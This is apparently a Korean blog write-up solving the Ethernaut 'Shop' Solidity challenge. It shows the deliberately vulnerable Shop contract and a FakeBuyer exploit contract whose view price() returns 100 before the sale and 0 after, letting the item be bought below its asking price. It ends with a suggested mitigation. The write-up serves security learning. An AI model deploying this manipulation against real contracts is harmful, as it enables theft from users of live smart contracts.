티스토리 뷰
1. 문제
Сan you get the item from the shop for less than the price asked?
Things that might help:
- Shop expects to be used from a Buyer
- Understanding restrictions of view functions
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
2. 풀이
더 적은 금액으로 아이템을 사야합니다. 즉, buy 함수의 if절에서 호출된 _buyer.price()는 Shop의 price보다 높거나 같은 금액을 반환해야 하지만, if절 안에서 호출된 _buyer.price()는 아주 낮은 금액을 반환해야 price의 값이 이전 상태보다 더 적어질 수 있습니다.
문제에서는 view 함수의 제약을 활용하라고 합니다. view 함수에는 상태는 읽어들일 수 있지만, 변경은 할 수 없다는 제약이 있습니다. 상태를 읽어들일 수 있단는 것은 마땅히 자신이 선언된 컨트랙트 뿐만 아니라 다른 컨트랙트도 해당합니다. 즉, 다른 컨트랙트의 값을 읽어와 조건문을 통해 분기처리하여 서로 다른 값을 반환하게 할 수 있습니다.
Shop 컨트랙트의 buy 함수는 if절의 조건이 유효하면 isSold 값을 먼저 바꾸고 price를 변경합니다. 이 점이 맹점입니다. price 함수에서 isSold가 변경되기 전(false)에는 더 크거나 같은 값을 반환하고, isSold가 true로 변경되면 아주 작은 값을 반환하도록 구현하면 이 문제를 해결할 수 있습니다. 구현과 관련해서는 Buyer가 인터페이스이기 때문에 별다른 제약은 존재하지 않습니다.
작성한 컨트랙트는 다음과 같습니다.
contract FakeBuyer is Buyer {
Shop public shop;
constructor(address _shop) {
shop = Shop(_shop);
}
function buy() external {
shop.buy();
}
function price() external view returns(uint) {
return shop.isSold() ? 0 : 100;
}
}
컨트랙트를 배포하고 buy 함수를 호출합니다.
트랜잭션이 컨펌되고 나서 Shop 컨트랙트의 price와 isSold 값을 확인합니다.
공격이 성공했으니 인스턴스를 제출하고 마무리합니다.
3. 시사점
앞서 말씀드린바와 같이, view 함수는 다른 컨트랙트의 상태값 또한 참조할 수 있습니다. 따라서 이러한 문제가 발생하는 것을 방지하기 위해서 오로지 함수 내부에서 정의된 값들만 사용하도록 상태 변경자를 pure로 선언하여 사용해야 합니다. pure로 선언된 함수는 전역변수에도 접근이 불가능하므로 gasleft, block.number 등을 사용해 임의의 값을 생성하는 것 또한 방지할 수 있습니다.
interface Buyer {
function price() external pure returns (uint);
}
'Solidity > Hacking' 카테고리의 다른 글
[Ethernaut] 23. Dex Two (0) | 2024.02.04 |
---|---|
[Ethernaut] 22. Dex (0) | 2024.02.03 |
[Ethernaut] 20. Denial (0) | 2024.02.01 |
[Ethernaut] 19. Alien Codex (1) | 2024.01.31 |
[Ethernaut] 17. Recovery (1) | 2024.01.30 |